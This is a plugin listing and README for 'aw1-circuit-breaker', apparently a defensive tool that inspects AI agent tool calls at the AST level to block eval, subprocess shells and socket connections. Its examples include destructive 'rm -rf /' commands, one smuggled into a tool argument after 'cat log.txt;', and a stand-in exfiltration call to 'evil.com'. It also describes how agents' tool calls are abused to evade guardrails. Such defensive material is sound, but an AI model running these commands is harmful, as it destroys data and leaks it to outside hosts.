Skip to main content
plugin CX Codex

aw1-circuit-breaker — Claude Code plugin: features and install

The aw1-circuit-breaker plugin checks ASTs and tool-call arguments before Python runs code. Use it to intercept dynamic execution, shell launches, and socket connections.

MIT ★ 1,596 updated 2026-10-29

Install into Claude Code · Plugin marketplace All methods and platforms ↓
/plugin marketplace add hashgraph-online/awesome-codex-plugins
/plugin install aw1-circuit-breaker@awesome-codex-plugins
Open on GitHub

What aw1-circuit-breaker does

aw1-circuit-breaker inspects tool calls at the AST level before code reaches Python. It can catch dynamic execution with eval, shell launches through subprocess, and network connections made with socket. This is an application-layer check; it does not replace operating-system isolation.

The MCP server needs Python and the dependencies listed in requirements.txt; start it with python mcp_server.py. In the MCP client configuration, set the command to python and pass mcp_server.py as its argument. Because the check runs before Python executes the code, the plugin can gate tool calls at that point.

What it helps with

  • block dynamic code execution through eval
  • intercept shell launches made with subprocess
  • halt socket-based network connections
  • inspect tool-call arguments before Python executes them

Example prompts for the agent

  • Check this tool call before it runs and block dynamic code execution.
  • Intercept any attempt to launch a shell command through subprocess.
  • Inspect the AST for this call and stop socket-based network access.

How to install aw1-circuit-breaker

Plugin marketplace

/plugin marketplace add hashgraph-online/awesome-codex-plugins
/plugin install aw1-circuit-breaker@awesome-codex-plugins

Step by step, with commands for each platform: Claude Code plugins: marketplaces, installing, and building your own

Questions about aw1-circuit-breaker

How do I install aw1-circuit-breaker in Claude Code?

First add the marketplace with /plugin marketplace add hashgraph-online/awesome-codex-plugins, then install the plugin with /plugin install aw1-circuit-breaker@awesome-codex-plugins.

What does aw1-circuit-breaker do?

It checks ASTs and tool-call arguments before Python executes code. The plugin can intercept dynamic execution, shell launches, and socket connections.

What is needed to run the MCP server?

Python and the dependencies in requirements.txt are needed. Run the server with python mcp_server.py.

Source text

aw1-circuit-breaker · MIT
<!-- hol-install-block:v2 slug=mvikmanners/aw1-circuit-breaker -->
Install with [HOL Guard](https://hol.org/guard/docs/plugin-scanner/install-with-hol-guard), which checks the [HOL listing](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker) and asks before each runtime:

```sh
hol-guard plugin install mvikmanners/aw1-circuit-breaker --apply
```

Get HOL Guard with `pipx install hol-guard` or `uv tool install hol-guard`.

<details>
<summary>Install with each runtime's own CLI</summary>

| Runtime | Commands |
| --- | --- |
| Claude Code | `claude plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`claude plugin install aw1-circuit-breaker@aw1-circuit-breaker` |
| Codex | `codex plugin marketplace add mvikmanners/aw1-circuit-breaker`<br>`codex plugin add aw1-circuit-breaker@aw1-circuit-breaker` |

</details>
<!-- /hol-install-block -->

# AW-1 Circuit Breaker

[![HOL Guard](https://img.shields.io/endpoint?url=https%3A%2F%2Fhol.org%2Fapi%2Fregistry%2Fbadges%2Fplugin%3Fslug%3Dmvikmanners%252Faw1-circuit-breaker%26metric%3Drelease)](https://hol.org/registry/plugins/mvikmanners%2Faw1-circuit-breaker)

[![PyPI version](https://img.shields.io/pypi/v/aw1-circuit-breaker.svg?color=blue)](https://pypi.org/project/aw1-circuit-breaker/)
[![License: MIT](https://img.shields.io/badge/License-MIT-green.svg)](https://opensource.org/licenses/MIT)
[![Latency](https://img.shields.io/badge/AST%20Evaluation-%3C0.2ms-brightgreen.svg)]()

> Deterministic sub-0.2ms AST security circuit breaker for autonomous AI agents, tool dispatch pipelines, and MCP servers.

---

## ⚡ 10-Second Test Drive (Zero-Install)

Test the circuit breaker live in your terminal right now without installing anything:

```bash
uvx aw1-circuit-breaker --demo
```

Or verify an arbitrary snippet:

```bash
uvx aw1-circuit-breaker verify "subprocess.run(['rm', '-rf', '/'])"
```

---

# AW-1 Circuit Breaker

[![Glama Score](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker/badges/score.svg)](https://glama.ai/mcp/servers/MvikManners/aw1-circuit-breaker)

Deterministic AST deconstruction and runtime circuit breaker preventing rogue shell escapes, dynamic eval(), and covert lateral socket egress in autonomous LLM tool calls.

## Installation

```bash
pip install -r requirements.txt
```

## Running the Server

Run directly with Python:
```bash
python mcp_server.py
```

Or via uvx:
```bash
uvx mcp_server.py
```

## MCP Client Configuration

```json
{
  "mcpServers": {
    "aw1-circuit-breaker": {
      "command": "python",
      "args": ["mcp_server.py"]
    }
  }
}
```

## Exploit Interception in Action

AW-1 operates deterministically at the Abstract Syntax Tree (AST) level before code reaches Python's runtime execution frame. Probabilistic prompt-based guardrails fail under encoding obfuscation; AST inspection guarantees deterministic enforcement.

### Interception Matrix

| Attack Vector | Attacker Strategy | LLM Guardrail Result | AW-1 AST Circuit Breaker |
|---|---|---|---|
| **Dynamic Execution** | `eval(compile(...))` | Evades semantic filters | **Tripped (`RESTRICTED_INVOCATION`)** |
| **Shell Escapes** | `subprocess.Popen(['bash', ...])` | Masked as system task | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |
| **Lateral Exfiltration** | `socket.connect(('evil.com', 443))` | Disguised as HTTP fetch | **Tripped (`UNAUTHORIZED_MODULE_IMPORT`)** |

### Run the Showcase

```bash
python examples/exploit_showcase.py
```

## Runtime Latency Telemetry

Deterministic security must not throttle agent execution. AW-1 operates with sub-millisecond AST parsing and microsecond-scale argument filtering across warm execution loops.

*Sample Size: 1,000 synthetic iterations per test vector on Debian Python 3.13.*

| Evaluation Target | p50 Latency | p95 Latency | p99 Latency | Status |
|---|---|---|---|---|
| **AST Inspection (Benign Payload)** | **0.0889 ms** | 0.1298 ms | 0.1645 ms | `< 0.2 ms` Overhead |
| **AST Inspection (Adversarial Exploit)** | **0.0520 ms** | 0.0919 ms | 0.1051 ms | Instant Breakout Halt |
| **Shell Argument Injection Guard** | **0.0051 ms** | 0.0096 ms | 0.0195 ms | Sub-20 µs Inspection |

Reproduce locally:
```bash
python benchmark.py
```

## Framework Integration (LangGraph Example)

AW-1 drops directly into autonomous agent execution nodes prior to tool dispatch:

```python
from examples.langgraph_adapter import execute_agent_action, CircuitBreakerException

# Guard autonomous agent tool dispatches
try:
    execute_agent_action(bash_tool, "bash_tool", {"cmd": "cat log.txt; rm -rf /"})
except CircuitBreakerException as blocked:
    print(f"Tool call halted: {blocked}")
```

## License

Licensed under the [Apache License, Version 2.0](https://www.apache.org/licenses/LICENSE-2.0). See [LICENSE](LICENSE) for details.


---

## 💳 Cloud Gateway & Commercial Licensing

While the open-source AST circuit breaker runs entirely local with sub-0.2ms overhead, enterprise teams and autonomous agent labs can connect to the hosted **AW-1 Sovereign Cloud Gateway** at `https://p20.laveto.net` for centralized policy orchestration, statutory audit compliance (BoB & Botswana DPA 2018), and hardware TEE attestation tokens.

| Tier | Price | Monthly Quota | Features | Checkout |
| :--- | :--- | :--- | :--- | :--- |
| **Developer Tier** | **$49 / mo** (P690 BWP) | 50,000 Verified Audits | Cloud Telemetry, HMAC API Keys, Slack/Webhook Alerts | [👉 Subscribe Now](https://p20.laveto.net/wisdom/buy) |
| **Enterprise / Sovereign** | Custom / SLA | Unlimited | Dedicated TEE Node, Statutory Defense Matrix, Custom Audits | [Contact Enterprise](mailto:[email protected]) |

*Self-hosted open-source circuit breaking remains 100% free under the Apache-2.0 license.*

© Laveto Wisdom · MIT · hashgraph-online/awesome-codex-plugins

Similar plugins

All plugins for Security →

From the same set391

The whole set →
boss boss chains nine specialist roles from requirements to deployment in Claude Code and Codex. Enforces strict quality contracts and writes disk artifacts. CX Codex ★ 1,596repo stars bindry Compiles Bindry Binders into task-loaded skills, either as pinned snapshots or through live MCP lookups. Useful when instructions should stay out of every prompt. CX Codex ★ 1,596repo stars bgs-modding-superpowers bgs-modding-superpowers — a plugin for Bethesda modpack curation: two MCP servers, an xEdit conflict audit, and agent control over your MO2 install. CX Codex ★ 1,596repo stars babok_analyst babok_analyst guides business analysis across 9 BABOK v3 stages with mandatory human sign-off at every gate. CX Codex ★ 1,596repo stars auto-pilot auto-pilot turns a short Claude request into a one-question-at-a-time intake, saves the answers as project files, and lets a later session pick up where the last one stopped. CX Codex ★ 1,596repo stars atomlane atomlane compiles safe parallel execution plans for builds, test suites, and agent scripts. It runs tasks concurrently only when dependencies permit. CX Codex ★ 1,596repo stars assay assay checks changed web pages by interacting with their controls, then reports the results at the end of the agent’s turn. It helps catch failures after a page edit. CX Codex ★ 1,596repo stars armorcodex armorcodex is a Claude Code plugin that checks Bash, apply_patch and MCP tool calls against a declared intent plan and policy rules. CX Codex ★ 1,596repo stars

Project sponsors

Companies that keep this analytics open